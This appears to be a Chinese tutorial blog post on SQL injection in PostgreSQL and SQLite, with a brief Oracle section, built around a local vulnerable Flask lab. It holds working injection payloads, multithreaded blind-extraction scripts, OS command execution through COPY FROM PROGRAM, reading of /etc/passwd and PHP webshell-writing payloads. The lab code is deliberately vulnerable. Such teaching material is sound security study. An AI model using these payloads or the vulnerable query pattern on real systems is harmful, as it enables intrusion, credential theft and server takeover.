# 其他系统库类型下的SQL注入

尝试过直接去看别人总结的相关的其他数据库的SQL注入方式，但是感觉很难理解，所以我打算先从学习其他类型数据库的结构逐渐深入

# 数据库结构

大多数数据库结构都与MySQL相差不大：

MySQL 实例 Instance
  └── Database / Schema
        └── Table
              ├── Column
              ├── Row
              ├── Index
              ├── View
              ├── Trigger
              └── Procedure / Function

在MySQL中，database和schema基本可以看成同一个概念

CREATE DATABASE shop_db;
CREATE SCHEMA shop_db;

这两个在MySQL中差不多是同义用法

不过既然这样设计那为什么还需要schema呢？

schema的核心作用其实就三个词：命名空间隔离、权限控制和逻辑分组，没有schema的架构看起来可以通过下图来表示：

MySQL 实例 (Instance)
  └──企业数据库 (ERP_Database)
        ├──Table: hr_users       (人事部用户表 - 靠前缀区分)
        ├──Table: finance_users  (财务部用户表 - 靠前缀区分)
        ├──Table: hr_payroll     (人事薪资表)
        ├──Table: finance_ledger (财务账本表)
        └──Table: sales_orders   (销售订单表)

如果所有的表都直接堆在database下面，当系统变大时就会出现命名冲突，比如人事和财务都需要一个叫users的表，只能被迫在表名前面加上前缀，导致结构非常扁平拥挤

有schema的话，不同的schema下就可以有同名的表，他们互不干扰，同时可以对某个schema进行一键授权，而不需要逐个表去配置

数据库实例 (Instance)
  └──企业数据库 (ERP_Database)
        │
        ├──Schema: HR (人事专区 - 可打包分配给人事系统权限)
        │     ├──Table: users   (同名互不干扰)
        │     ├──Table: payroll
        │     └──Procedure: calculate_leave() 
        │
        ├──Schema: Finance (财务专区 - 极度敏感，独立授权)
        │     ├──Table: users   (同名互不干扰)
        │     ├──Table: ledger
        │     └──View: monthly_report
        │
        └──Schema: Sales (销售专区)
              ├──Table: orders
              └──Table: customers

# MySQL

MySQL的查询路径大致是：

客户端连接 MySQL
  ↓
连接器 / 权限验证
  ↓
SQL Parser
  ↓
预处理器，检查表名、字段名
  ↓
优化器，选择索引和执行计划
  ↓
执行器
  ↓
存储引擎，例如 InnoDB
  ↓
Buffer Pool / 磁盘文件

MySQL中比较重要的结构

MySQL Server
├── 连接层
├── SQL 层
│   ├── Parser
│   ├── Optimizer
│   ├── Executor
│   └── 权限系统
└── 存储引擎层
    ├── InnoDB
    ├── MyISAM
    └── Memory

MySQL中常见的元数据位置：

information_schema
# 保存数据库、表、字段等结构信息
mysql
# 保存用户、权限等系统信息
performance_schema
# 性能监控信息
sys
# 性能视图封装

什么是元数据？

通俗地说元数据就是关于数据的数据，业务数据指的是数据库里面存放的具体内容（包括用户的账号密码等信息），元数据记录了这个数据库有几个库名、表名、字段名和数据类型

在元数据information_schema中有三个表：

SCHEMA表：记录了当前MySQL实例下的所有数据库名字（字段名：schema_name）
TABLES表：记录了所有数据库里面的所有表名（字段名：table_name，以及它所属的库名：table_schema）
COLUMNS表：记录了所有表里面的所有字段名（字段名：column_name，以及它所属的表名：column_schema）

MySQL的注入手法其实在之前的文章中已经解释的很清楚了，接下来把重点看到其他类型的数据库吧

# PostgreSQL

# 数据库架构以及核心字段名

PostgreSQL数据库的架构与MySQL最大的区别之一是：PostgreSQL更强调schema，其层级为：

PostgreSQL Cluster
  ↓
Database
  ↓
Schema
  ↓
Table / View / Function / Sequence
  ↓
Column / Row

比如：company.public.users.username表示的是company数据库->public schema->users表->username字段

PostgreSQL的查询路径大致为：

客户端连接 PostgreSQL
  ↓
Postmaster / Backend Process
  ↓
认证与权限检查
  ↓
Parser
  ↓
Analyzer
  ↓
Rewriter
  ↓
Planner / Optimizer
  ↓
Executor
  ↓
Buffer Manager
  ↓
Storage / WAL / Data Files

PostgreSQL的结构大致可以看做：

PostgreSQL Cluster
├── Database 1
│   ├── Schema public
│   ├── Schema admin
│   └── Schema test
├── Database 2
└── 系统目录 pg_catalog

里面一些比较重要的系统结构：

pg_catalog
# 原生系统目录
information_schema
# 标准SQL元数据视图
pg_database
# 数据库信息
pg_class
# 表、索引、视图等对象信息
pg_attribute
# 字段信息
pg_roles
# 角色信息
pg_namespace
# 信息

pg_catalog是PostgreSQL数据库独有的最核心的系统schema（模式），在数据库里创建的所有表、列、视图、索引、函数、数据类型，其元数据全部存储在这里面，相较于information_schema来说，直接查pg_catalog速度快，且能获得更多非标准的底层信息，上述下面的pg_开头的所有表全部位于pg_catalog模式下

PostgreSQL的系统表有一个极其重要的概念：集群级（全局）和数据库级（局部）

集群级

pg_database（数据库列表）：里面存储了当前PostgreSQL实例（集群cluster）下所有的数据库名称、拥有者、字符集编码等，类似于MySQL里面的SCHEMATA，核心字段：datname

通常第一步是：

SELECT datname FROM pg_database;
# 查看有哪些库

pg_roles（角色/用户权限）：存储了数据库里面的所有用户账号、密码（散列值，但在高版本被移到了隐藏的pg_authid中）、以及他们是否具有超级用户（superuser）、建库、登录权限，核心字段：rolname（用户名）、rolsuper（是否是超级用户）。攻击成功之后如果查询到当前注入点的用户是超级用户（rolname = 't'），那就可以直接尝试命令执行

数据库级

pg_namespace（模式列表）：里面存储了当前数据库里面的所有schema名称，核心字段：nspname（模式名）、oid（该模式的唯一编号）。Schema（模式）本质上就是隔离命名的空间，默认创建的表都在public这个namespace里面

pg_class（关系列表）：里面存储了当前数据库里面的所有表、视图、索引、序列号，由于早期Postgres，为对象关系型数据库，当时把一张表称为一个类，核心字段：relname（表名/视图名）、relnamespace（所属模式OID）、oid（该表的唯一编号）

pg_attribute（属性/列列表）：里面存储了所有表里面的所有字段（列）信息，在关系列表中，表的一列被称为属性，核心字段：attname（字段名）、attrelid（所属表的oid）、attnum（字段在表里的顺序）。等同于MySQL里的COLUMNS

# 本地搭建靶场测试

可通过下列命令搭建测试靶场，这里用的是kali linux

docker run --name pg-vuln-lab -e POSTGRES_PASSWORD=root -p 5432:5432 -d postgres:14
# 启动一个名为pg-vuln-lab的容器，设置超级用户密码为root，映射本地5432端口
docker exec -it pg-vuln-lab psql -U postgres
# 进入容器的命令行交互界面

进入psql终端之后，依次执行下列SQL语句搭建数据库：

CREATE DATABASE postgre_lab;
\c postgre_lab;
# 创建一个post_lab数据库并切换进去

CREATE SCHEMA FLAG;
# 创建一个FLAG模式(Schema)

CREATE TABLE public.users (
    id SERIAL PRIMARY KEY,
    username VARCHAR(50),
    password VARCHAR(50)
);
# 在默认的public模式下创建普通用户表
# id为第一列的名字，SERIAL是postgreSQL特有且极其常用的数据类型，代表“自增序列”，在插入数据时不需要手动输入ID，数据库会自动按1、2、3、4的顺序给新数据编号（等同于MySQL中的AUTO_INCREMENT）
# PRIMARY KEY：主键，它宣告id为这一行数据的唯一标识，不能重复也不能为空，数据库底会为他自动建立索引以加快查询速度
# username和password均为接下来两列的名字
# VARCHAR(50)：数据类型，VARCHAR代表可变长度的字符（Vairable Character），50代表这个用户名最长不能超过50个字符

CREATE TABLE FLAG.flag(
    id SERIAL PRIMARY KEY,
    flag2 VARCHAR(100)
);
# 在FLAG模式下创建名为flag的表和flag2的列

INSERT INTO public.users (username, password) VALUES ('admin', 'adminnnnn'), ('guest', '123456'),('flag1','ZLARYY{h0w_h@rd_P05tgr3_SQL!_r3a1ly???}');
INSERT INTO FLAG.flag (flag2) VALUES ('ZLARYY{W0vv_Y0u_@r3_r3al1y_P0stgr3_SQL_ma5t3r!!!}');
# 插入测试数据

接下来需要编写一个带有漏洞的web后端，首先创建一个名为pg_lab的文件夹，里面放上app.py，在该目录下打开终端执行一步安装操作：

python3 -m pip install flask psycopg2-binary

然后将下列内容粘贴到app.py里面：

from flask import Flask, request
import psycopg2

app = Flask(__name__)

# 连接到我们刚才用 Docker 启动的 PostgreSQL 靶场
def get_db_connection():
    return psycopg2.connect(
        host="localhost",
        database="postgre_lab",
        user="postgres",
        password="root",
        port="5432"
    )

@app.route('/user')
def get_user():
    # ⚠️ 经典的漏洞点：直接获取用户输入，不做任何过滤
    user_id = request.args.get('id')
    
    if not user_id:
        return "Please provide an id, e.g., ?id=1"

    conn = get_db_connection()
    cursor = conn.cursor()

    # ⚠️ 致命错误：使用 f-string 强制拼接 SQL 语句，造成注入
    query = f"SELECT username FROM public.users WHERE id = {user_id}"
    
    try:
        cursor.execute(query)
        result = cursor.fetchall()
        return f"<h3>Executed Query: {query}</h3><p>Result: {result}</p>"
    except Exception as e:
        # 将数据库报错直接打印到前端（方便练习报错注入）
        return f"<h3>Database Error:</h3><p>{str(e)}</p>"
    finally:
        cursor.close()
        conn.close()

if __name__ == '__main__':
    app.run(debug=True, port=5000)

最后运行这个应用：

python3 app.py

然后访问http://localhost:5000/user?id=1，应该能看到正常页面返回了admin

# 注入相关符号与函数

• 注释符：单行注释：-- 与MySQL一样为两个减号，后面通常可以加一个空格

  ​ 多行/内联注释：/*.....*/，某些情况下可以用来替代空格绕过过滤

• 关键注入查询函数：

  1. version()：获取PostgreSQL的详细版本信息，不同版本的特性（比如RCE的方法）差异很大
  2. current_database()或current_catalog：获取当前连接的数据库名称
  3. current_user或user：获取当前执行查询的数据库用户名
  4. session_user：获取建立数据库连接时的原始用户名
  5. current_setting('data_directory')：获取数据库文件的物理存储路径（通常需要较高权限，有助于后续的目录遍历或写文件）

• pg_sleep(seconds)：让数据库暂停执行指定的秒数

• substring(string,start,length)或substr()：用于逐个字符拆解，可以配合ASCII()和pg_sleep()进行时间/布尔盲注，比如：

  substring((SELECT current_user),1,1)
  # 从当前用户名的第一个字符开始截取一个长度的字符

• ascii(char)和chr(int)：ascii()可以将字符转为数字，方便使用>或<进行二分法盲注；chr()可以将数字转回字符，如果过滤了单引号导致无法输入'admin'可以采用如下语句实现绕过：

  chr(97)||chr(100)||chr(109)||chr(105)||chr(110)

• 类型转换符：::type或CAST(expr AS type)，可以强行将数据转换为指定类型，在UNION联合注入中，如果不知道原列表的类型可以全部强转为文本类型来避免报错：

  UNION SELECT NULL, 'admin'::text, 'password'::text

• 字符串拼接符：||，PostgreSQL不支持MySQL中的concat()语法，拼接字符串必须使用管道符，可以实现即将多个字段的结果合并到一列输出：

  UNION SELECT 1, username || ':' || password FROM users

• string_agg()，类似于group_concat()可以直接将返回内容合并为一行输出

• 读取本地文件：pg_read_file(filename)，可以读取服务器上的绝对路径文件内容，比如/etc/passwd

• 写入文件与命令执行：COPY ... FROM / TO，原本是用于导入数据的命令，可以实现危险操作：

  copy (select '<?php phpinfo(); ?>') to '/var/www/html/shell.php'

• 在PostgreSQL 9.3版本以上中引入了PROGRAM参数，可以直接让数据库执行操作系统命令：

  COPY 任意表名 FROM PROGRAM 'id > /tmp/hacked.txt';

• length()：获取参数字符串的长度

# union联合注入

我们所写的app.py文件为数字型注入：

按照MySQL的查询步骤，接下来用order by判断列数：

很奇怪了，为什么写的时候明明有id、username、password三列，最后order by 3会报错呢

原因是我们的app.py中写的是：

SELECT username FROM public.users WHERE id = {user_id}

order by和union探测的并不是底层物理表有多少列，而是这句SQL查询最终返回多少列，上述这句SQL查询只返回了username一列字段，如果我们加上*变成：

SELECT * FROM public.users WHERE id = {user_id}

结果就不一样了，*代表查询所有列，此时的结果集就会包含id、username、password完整的三列

以上为修改后端代码之后的结果

当我们想利用current_database()查询连接的数据库时，会出现这种情况：

这就是我们之前在::type提到的类型不匹配，在MySQL中，如果把一个1塞进文本列里，MySQL会把他变为字符串'1'，但是PostgreSQL极度严谨，他的规则是：原查询的数据类型必须与union拼接数据查询类型完全相同，所以在这里我们需要用到类型转换符::type或者直接把3改为字符串类型

当然用current_catalog也是可以的：

这样我们就查询出来了连接的数据库名称为postgre_lab，接下来我们可以试试查询所有的schema字段

?id=-1 union select 1,(select nspname from pg_namespace limit 1 offset 0 ),'3' -- 

这里如果我们直接传入：

?id=-1 union select 1,(select nspname from pg_namespace),'3' -- 

会显示返回的结果超过一行，所以我们需要用到limit ... offset ...来进行限制

在之前的SQL文章中提到过其用法：

limit 返回的数量 offset 跳过的行数
所以limit 0,1用offset表示为limit 1 offset 0

其实也可以直接查询所有的schema：

?id=-1 union select 1,nspname,'3' from pg_namespace --

或者利用string_agg()：

?id=-1 union select 1,(select string_agg(nspname,'~') from pg_namespace),'3' --

那么接下来我们试试查询flag这个schema里面的内容：

?id=-1 union select 1,(select string_agg(relname,'~') from pg_class where relnamespace = (select oid from pg_namespace where nspname='flag')), '3' -- 

这个payload的意思是查询pg_class里面与nspname='flag'相同oid的relnamespace的表名

或者还有一种方法：join联合查询

?id=-1 union select 1,(select string_agg(relname,'~') from pg_class c join pg_namespace n on c.relnamespace = n.oid where n.nspname='flag'),'3' --

在尝试这些payload之前ZLARYY想过这个payload但是是错误的：

?id=-1 union select 1,(select string_agg(relname,'~') from pg_class where nspname='flag'),'3' --

这是由于pg_class这个元数据里面没有存储nspname这个字段，只记录了这一个叫做relnamespace的数字编号（OID），用来指向它属于哪个模式schema，所以我们需要利用oid搭桥去找寻我们想要查询的表

接下来我们需要查询flag这个表里面的字段名：

?id=-1 union select 1,(select string_agg(attname,'~') from pg_attribute where attrelid = (select oid from pg_class where relname='flag')), '3' -- 

这里必须把attrelid后面的判定条件换成表的oid而不能继续沿用查表时候的schema的oid

最后我们查询flag模式下的flag表里面的flag2字段的值：

?id=-1 union select 1,flag2,'3' from "flag".flag --

通过这个流程我们成功查询到了其他schema下的flag，在之前环境配置中我们在当前users的表中也埋了一个flag，我们继续试试

?id=-1 union select 1,current_database(),'3' -- 
# 查询当前数据库
?id=-1 union select 1,(select nspname from pg_namespace),'3' -- 
# 查询所有的schema名
?id=-1 union select 1,(select string_agg(relname,'~') from pg_class where relnamespace=(select oid from pg_namespace where nspname='public')),'3' --
# 查询字段名为public下的所有表名
?id=-1 union select 1,(select string_agg(attname,'~') from pg_attribute where attrelid=(select oid from pg_class where relname='users')),'3' --
# 查询users表下的所有列名
?id=-1 union select 1,(select string_agg(username || '~' || password,'+') from users),'3' --
# 查询username和password并一起输出

这里不能像MySQL一样使用string_agg(attname,'~',password)，因为string_agg()函数的作用是把多行数据合并成一行。它的标准官方语法是严格的两个参数，所以只能采用||横向拼接列，再用string_agg纵向聚合行

# 报错注入

# 类型转换错误

SELECT CAST(version() AS integer);

这条命令会因为无法将version()的结果转换为integer而报错暴露原始字符：

?id=1 and 1=cast((select current_database() limit 1) as integer)

?id=1 and 1=cast((select string_agg(nspname,'~') from pg_namespace limit 1) as integer)

后面的流程其实都相差不大只需要修改括号里的查询语句就行，这里直接给出payload吧：

# 查询其他schema下的flag
?id=1 and 1=cast((select string_agg(relname,'~') from pg_class where relnamespace=(select oid from pg_namespace where nspname='flag') limit 1) as integer)
# invalid input syntax for type integer: "flag_id_seq~flag~flag_pkey"

?id=1 and 1=cast((select string_agg(attname,'~') from pg_attribute where attrelid=(select oid from pg_class where relname='flag') limit 1) as integer)
# invalid input syntax for type integer: "cmax~cmin~ctid~flag2~id~tableoid~xmax~xmin"

?id=1 and 1=cast((select flag2 from "flag".flag limit 1) as integer)
# invalid input syntax for type integer: "ZLARYY{W0vv_Y0u_@r3_r3al1y_P0stgr3_SQL_ma5t3r!!!}"

除了转换为integer还可以转换为numeric、date、uuid、json/jsonB、regclass、xml、integer[]、tsquery等：

?id=1 and 1=cast((select current_database() limit 1) as numeric)
或
?id=1 and 1=cast((select current_database() limit 1)::numeric)

?id=1 and cast((select current_database() limit 1) as uuid) is not null
?id=1 and cast((select current_database() limit 1) as regclass) is not null
?id=1 and cast((select current_database() limit 1) as jsonB) is not null
?id=1 and cast((select current_database() limit 1) as integer[]) is not null

# 布尔盲注

与MySQL一样我们需要能看到真页面和假页面这个条件，在我们的靶场中可以视作是否返回admin

这里我们可以用到的函数与MySQL差不多：

ascii()
length()

?id=1 and length(current_database())=11 -- 

这样就能判断出数据库名长度为11了

其实都可以参考本博客SQL一栏，原理都是一样的，这里给些payload吧：

?id=1 and ascii(substring((select current_database()),1,1))=112 -- 
# 数据库的第一个字符ascii码为112，对应字母为p

?id=1 and ascii(substring((select nspname from pg_namespace limit 1 offset 4),1,1))=102 -- 
# 对应schema首字母为f
?id=1 and ascii(substring((select relname from pg_class where relnamespace=(select oid from pg_namespace where nspname='flag') limit 1 offset 1),1,1))=102 -- 
# 对应表首字母为f
?id=1 and ascii(substring((select attname from pg_attribute where attrelid=(select oid from pg_class where relname='flag') limit 1 offset 3),1,1))=102 -- 
# 对应列首字母为f
?id=1 and ascii(substring((select flag2 from "flag".flag),1,1))=90 -- 
# flag2字段首字母为Z

# 时间盲注

用到的函数和条件判断语句：

pg_sleep()
case when ... then ... else ... end;

逻辑也是与MySQL相同

?id=1; select case when (current_user = 'postgres') then pg_sleep(5) else pg_sleep(0) end;--

如果不能使用堆叠注入的话也可以把pg_sleep()放在and条件里面

?id=1 and 1=(case when substring(current_database(),1,1)='p' then (select 1 from pg_sleep(3)) else 1 end) --

?id=1 and 1=(case when substring((select nspname from pg_namespace limit 1 offset 4),1,1)='f' then (select 1 from pg_sleep(3)) else 1 end) --
# 判断schema第一个字符为f
?id=1 and 1=(case when substring((select relname from pg_class where relnamespace=(select oid from pg_namespace where nspname='flag') limit 1 offset 0),1,1)='f' then (select 1 from pg_sleep(3)) else 1 end) --
# 判断table第一个字符为f
?id=1 and 1=(case when substring((select attname from pg_attribute where attrelid=(select oid from pg_class where relname='flag') limit 1 offset 3),1,1)='f' then (select 1 from pg_sleep(3)) else 1 end) --
# 判断列名第一个字符为f
?id=1 and 1=(case when substring((select flag2 from "flag".flag),1,1)='Z' then (select 1 from pg_sleep(3)) else 1 end) --
# 判断flag2里存储内容第一个字符为Z

# 脚本探测

可以看到如果想要手动盲注的话那一个一个写未必也太麻烦了，我们试试写两个python脚本探测吧：

布尔盲注：

import requests
import threading

url = "http://localhost:5000/user"

chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_{}~!@#$%^&*()+[]"

result = ""

target = "select current_database()"

max_threads = 10

for position in range(1, 101):
    found = {
        "char": None
    }

    lock = threading.Lock()
    stop_event = threading.Event()

    def test_char(ch):
        if stop_event.is_set():
            return

        payload = f"1 and substring(({target}),{position},1)='{ch}' -- "

        try:
            response = requests.get(
                url,
                params={"id": payload},
                timeout=3
            )

            if "admin" in response.text:
                with lock:
                    if found["char"] is None:
                        found["char"] = ch
                        stop_event.set()

        except requests.RequestException:
            pass

    threads = []

    for ch in chars:
        t = threading.Thread(target=test_char, args=(ch,))
        threads.append(t)
        t.start()

        if len(threads) >= max_threads:
            for t in threads:
                t.join()

            threads = []
            # 把列表清空存储下一列进程

            if stop_event.is_set():
                break

    for t in threads:
        t.join()
        # 最后一批字符集长度不足max_threads所以单独处理

    if found["char"] is not None:
        result += found["char"]
        print(result)
    else:
        print("读取结束")
        break

print("最终结果:", result)

正常的二重for循环一个一个搜集太慢了，所以加上了线程模块

时间盲注：

import requests
import time
import threading

url="http://localhost:5000/user"

target="select current_database()"

result=""

threshold=3

char="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_{}~!@#$%^&*()+[]"

max_threads=10

for position in range(1,101):
    found={
        "char":None
    }
    lock = threading.Lock()
    stop_event = threading.Event()
    def test_char(ch):
        if stop_event.is_set():
            return
        
        payload = f"1 and 1=(case when substring(({target}),{position},1)='{ch}' then (select 1 from pg_sleep(5)) else 1 end) -- "

        start=time.perf_counter()
        try:
            response=requests.get(url,params={"id":payload})
            
            end=time.perf_counter()

            cost = end-start
            if cost>threshold:
                with lock:
                    if found["char"] is None:
                        found["char"] = ch
                        stop_event.set()
        except requests.RequestException:
            pass

    threads = []

    for ch in char:
        t=threading.Thread(target=test_char,args=(ch,))
        threads.append(t)
        t.start()

        if len(threads)>=max_threads:
            for t in threads:
                t.join()

            threads = []

            if stop_event.is_set():
                break
    for t in threads:
        t.join()

    if found["char"] is not None:
        result += found["char"]
        print(result)
    else:
        print("请求结束")
        break

print(result)

时间盲注相对于布尔盲注就会慢一些了

# SQLite

# 数据库架构以及核心字段名

SQLite通常没有独立数据库服务进程，它是一个嵌入式数据库，它的层级是：

数据库文件
  ↓
main 数据库
  ↓
表 / 视图 / 索引 / 触发器
  ↓
列 / 行

其查询路径：

应用程序
  ↓
SQLite 库
  ↓
SQL Parser
  ↓
Code Generator
  ↓
Virtual Database Engine, VDBE
  ↓
B-Tree / Pager
  ↓
数据库文件

结构大致是：

app.db
├── users
├── products
├── orders
├── comments
└── sqlite_schema

可以理解为这一个app.db文件就是一个数据库，里面有很多张表，每个表里面有很多列和行

SQLite默认主数据库是main，如果使用临时表还有temp，如果使用ATTACH DATABASE附加其他数据库文件还可能出现其他数据库名，所以SQLite完整对象名可能是main.users，但大多数情况下只能看到users

SQLite的SQL查询执行路径可以理解为：

应用程序调用 SQLite API
  ↓
sqlite3_prepare_v2()
  ↓
SQL Parser 解析 SQL
  ↓
生成语法树
  ↓
生成 VDBE 字节码
  ↓
sqlite3_step() 执行字节码
  ↓
B-Tree 模块查找数据
  ↓
Pager 模块读取页面
  ↓
操作系统读取 .db 文件
  ↓
返回结果给应用程序

SQLite里面有一个很重要的组件：VDBE（Virtual Database Engine）可以理解为SQLite自己的SQL虚拟机

SQLite的元数据表

SQLite里面最重要的元数据表是sqlite_schema，旧资料里经常叫sqlite_master

sqlite_schema里面主要有这些字段：

type
# 记录对象类型，比如table表，index索引，view视图，trigger触发器，类似于pg_class.relkind
name
# 对象的名，例如表名或者索引名，类似于pg_class.relname
tbl_name
# 该对象所属的表名
rootpage
# B-Tree根页，该对象在数据库文件中的根页编号（底层存储结构，安全测试中通常用不到）
sql
# 以纯文本形式记录了当初创建这个对象时的DDL语句，在旧版SQLite注入中，因为没有专门的列名表，大家都是通过读取这个sql字段，利用正则或肉眼从CREATE TABLE语句中提取出所有的列名（比如id, username, password）

PRAGMA函数库：为了更结构化地获取“列”的元数据（类似于PG的information_schema.columns或pg_attribute），SQLite提供了特有的PRAGMA指令，在较新版本的SQLite中可以把PRAGMA当作表值函数在select中调用，核心表值函数：pragma_table_info('表名')

# 核心字段解析：
cid
# 列的ID，从0开始递增
name
# 列名，如id,username，相当于pg_attribute.attname
type
# 列的数据类型，如INTEGER、VARCHAR(50)、TEXT
notnull
# 是否允许为空（1表示NOT NULL，0表示允许为空）
dflt_value
# 列的默认值
pk
# 该列是否为主键的一部分（0表示不是，1、2等数字表示在复合主键中的顺序）

# 本地搭建靶场测试

首先创建一个sqlite_lab.py文件，SQLite是Python自带的内置库(sqlite3)，所以只需要安装一个Flask即可

python3 -m pip install flask

将以下代码复制到sqlite_lab.py里面：

import sqlite3
from flask import Flask, request

app = Flask(__name__)

# 1. 初始化本地 SQLite 数据库
def init_db():
    # 连接到一个本地文件，如果文件不存在会自动创建
    conn = sqlite3.connect(r'E:\OtherSQL\SQLite_lab\vuln_lab.db')
    cursor = conn.cursor()
    
    # 创建用户表
    cursor.execute('''
        CREATE TABLE IF NOT EXISTS users (
            id INTEGER PRIMARY KEY AUTOINCREMENT,
            username TEXT,
            password TEXT
        )
    ''')
    
    # 每次启动前清理一下旧数据，防止重复插入
    cursor.execute('DELETE FROM users')
    
    # 插入测试数据
    cursor.execute("INSERT INTO users (username, password) VALUES ('admin', 'super_secret_admin_pass')")
    cursor.execute("INSERT INTO users (username, password) VALUES ('guest', '123456')")
    cursor.execute("INSERT INTO users (username, password) VALUES ('flag', 'ZLARYY{SQ7it3_15_r3@l1y_DiffcUlt?}')")
    
    conn.commit()
    conn.close()
    print("[+] Database 'vuln_lab.db' initialized with test data.")

# 2. 存在漏洞的 Web 路由
@app.route('/user')
def get_user():
    username = request.args.get('name')
    
    if not username:
        return "Please provide a name, e.g., ?name=admin"

    # 连接到刚才创建的数据库文件
    conn = sqlite3.connect(r'E:\OtherSQL\SQLite_lab\vuln_lab.db')
    cursor = conn.cursor()

    # ⚠️ 核心漏洞点：直接使用 f-string 将用户输入拼接到 SQL 语句中
    # 注意这里使用了单引号 '{username}' 把输入包起来
    query = f"SELECT id, username, password FROM users WHERE username = '{username}'"
    
    try:
        cursor.execute(query)
        result = cursor.fetchall()
        return f"<h3>Executed Query:</h3><code>{query}</code><hr><h3>Result:</h3><p>{result}</p>"
    except Exception as e:
        # 将报错信息打印到前端，方便进行报错注入测试
        return f"<h3>Database Error:</h3><p>{str(e)}</p>"
    finally:
        cursor.close()
        conn.close()

if __name__ == '__main__':
    # 启动应用前先初始化数据库
    init_db()
    # 运行在 5001 端口，防止与之前的实验冲突
    app.run(debug=True, port=5001)

最后执行：

python3 sqlite_lab.py

之后在E:\OtherSQL\SQLite_lab\目录下就会出现一个vuln_lab.db文件，访问http://127.0.0.1/user?name=admin就能看到正常页面

# 注入相关符号和函数

• 注释符：--或--+，--后面通常需要一个空格才会生效，在URL中常用+或%20代替空格

  多行注释：/* ... */，有时候也可以用来代替空格

• 字符串拼接符：||，SQLite不支持concat()函数

• sqlite_version()：获取当前SQLite的版本号

• length()：获取参数字符串的字符长度

• substr(X,Y,Z)或substring()：从字符串X的Y位置开始截取长度为Z的字符，索引从1开始

• unicode()：相当于ascii()函数，返回参数字符串的第一个字符的数字编码

• char(x1,x2,...)：相当于unicode()的逆运算，将数字转化为字符

  char(97, 100, 109, 105, 110)等同于'admin'

• hex()：将字符串转换为十六进制格式

• group_concat(X)或group_concat(X,Y)：将多行数据聚合为单行字符串输出，X为列名，Y为可选分隔符，与MySQL相同

• randomblob(N)：生成一个N字节随机Blob（二进制大对象）数据，当给N赋一个非常大的值，比如randomblob(1000000000)，SQLite需要消耗大量的CPU和内存资源去生成这个随机对象，从而导致查询卡顿

• zeroblob(N)：生成一个N字节的全零blob数据，同样可用于消耗内存

# union联合注入

?name=admin' order by 3 --+
# order by判断列数

?name=-1' union select 1,sqlite_version(),3 --+
# 查询数据库版本

由于SQLite中没有database和schema的概念，所以可以通过元数据表sqlite_master来查询所有的表名

?name=-1' union select 1,name,3 from sqlite_master where type='table'--+

之后我们可以通过sql字段查询之前建表的语句从而查询列名：

?name=-1' union select 1,name,sql from sqlite_master where type='table'--+

得到users表里面的列有id、username、password

也可以利用pragma查询列：

?name=-1' union select 1,name,3 from pragma_table_info('users') --+

由于group_concat()函数不支持三个参数所以可以实现分别查询username列和password列：

?name=-1' union select 1,(select group_concat(username,'~') from users),sql from sqlite_master where type='table'--+

也可以：

?name=-1' union select id,username,password from users --+

?name=-1' union select 1,(select group_concat(username||"~"||password,',') from users),3 from users --+

# 布尔盲注

原理其实也和之前的一样，利用length()、unicode()、hex()等函数进行挨个字符的判断

admin' AND substr((SELECT password FROM users WHERE username='flag'),1,1)='Z' -- 
# 用上unicode()等函数是便于二分法快速找到字符

那还是直接给个脚本吧：

import requests
import threading

url="http://127.0.0.1:5001/user"

char="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_{}~!@#$%^&*()+[]?"

result=""

max_threads=10

target="select password from users where username='flag'"

for position in range(1,101):
    found={
        "char":None
    }

    lock=threading.Lock()
    stop_event=threading.Event()

    def test_char(ch):
        if stop_event.is_set():
            return
        
        payload=f"admin' and substr(({target}),{position},1)='{ch}' --+"
        try:
            response=requests.get(url,params={"name":payload})
            if 'super' in response.text:
                with lock:
                    if found["char"] is None:
                        found["char"]=ch
                        stop_event.set()
        except requests.RequestException:
            pass

    threads = []

    for ch in char:
        t=threading.Thread(target=test_char,args=(ch,))
        threads.append(t)
        t.start()

        if len(threads)>=max_threads:
            for t in threads:
                t.join()

            threads=[]

            if stop_event.is_set():
                break

    for t in threads:
        t.join()

    if found["char"] is not None:
        result += found["char"]
        print(result)
    else:
        print("请求结束")
        break

print(result)

# 伪时间盲注

SQLite中没有sleep()和pg_sleep()函数，只能使用randomblob()实现大计算延迟：

?name=admin' and case when substr((select name from sqlite_master),1,1)='u' then length(randomblob(10000000)) else 1 end --+

但是这种方式极其不稳定，受机器性能影响很大，所以不太建议使用这个方法，就不过多赘述了

# SQL写马

SQL写马利用的是attach database这个东西，还要用上堆叠注入，但是靶场好像不允许一次执行多条命令，显示You can only execute one statement at a time.

给给payload吧：

?name='; ATTACH DATABASE 'E:\OtherSQL\SQLite_lab\shell.php' AS a; CREATE TABLE a.c (d text); INSERT INTO a.c (d) VALUES ('<?php eval($_POST[1]);?>'); --

在https://xiexie-qiuligao.github.io/2026/02/09/sql/的文章中还提到了一个跨库窃取，需要已知秘密`.db`文件的路径：

ATTACH DATABASE '/var/data/admin_secret.db' AS target;

UNION SELECT 1, password, 3 FROM target.admin_table;

# Oracle

# 数据库架构以及核心字段名

Oracle的整体结构可以理解为：

Oracle Database
  ↓
User / Schema
  ↓
Table / View / Sequence / Procedure / Package
  ↓
Column / Row

Oracle中最重要的一点是：

User ≈ Schema

比如创建了一个用户：

CREATE USER HR IDENTIFIED BY password;

这个HR也可以代表一个schema，在对HR创建一张表employees的话这张表的完整名称可以是HR.employees，另外Oracle默认会把未加双引号的对象名转成大写

Oracle没有information_schema也没有sqlite_master，它用的是数据字典视图，最常见的是：

USER_*
# 表示当前用户自己拥有的对象
例如：SELECT table_name FROM user_tables;
Oracle官方文档说明，USER_TABLES描述的是当前用户拥有的关系表，而且它的列与ALL_TABLES基本相同，只是不显示OWNER列
常见视图：
USER_TABLES
USER_TAB_COLUMNS
USER_OBJECTS
USER_VIEWS
USER_SEQUENCES

ALL_*
# 表示当前用户有权限访问的对象
例如：SELECT owner, table_name FROM all_tables;
Oracle官方文档说明，ALL_TABLES描述的是当前用户可访问的关系表；相关视图中，USER_TABLES描述当前用户拥有的表，DBA_TABLES描述数据库中所有的关系表
常见视图：
ALL_TABLES
ALL_TAB_COLUMNS
ALL_OBJECTS
ALL_VIEWS

DBA_*
# 表示数据库管理员视角下的所有对象
例如：SELECT owner, table_name FROM dba_tables;
但普通用户通常没有权限查DBA_*，Oracle官方文档说明，DBA_TABLES描述数据库中所有的关系表

V$* 动态性能视图
例如：
V$VERSION
V$DATABASE
V$SESSION
V$INSTANCE
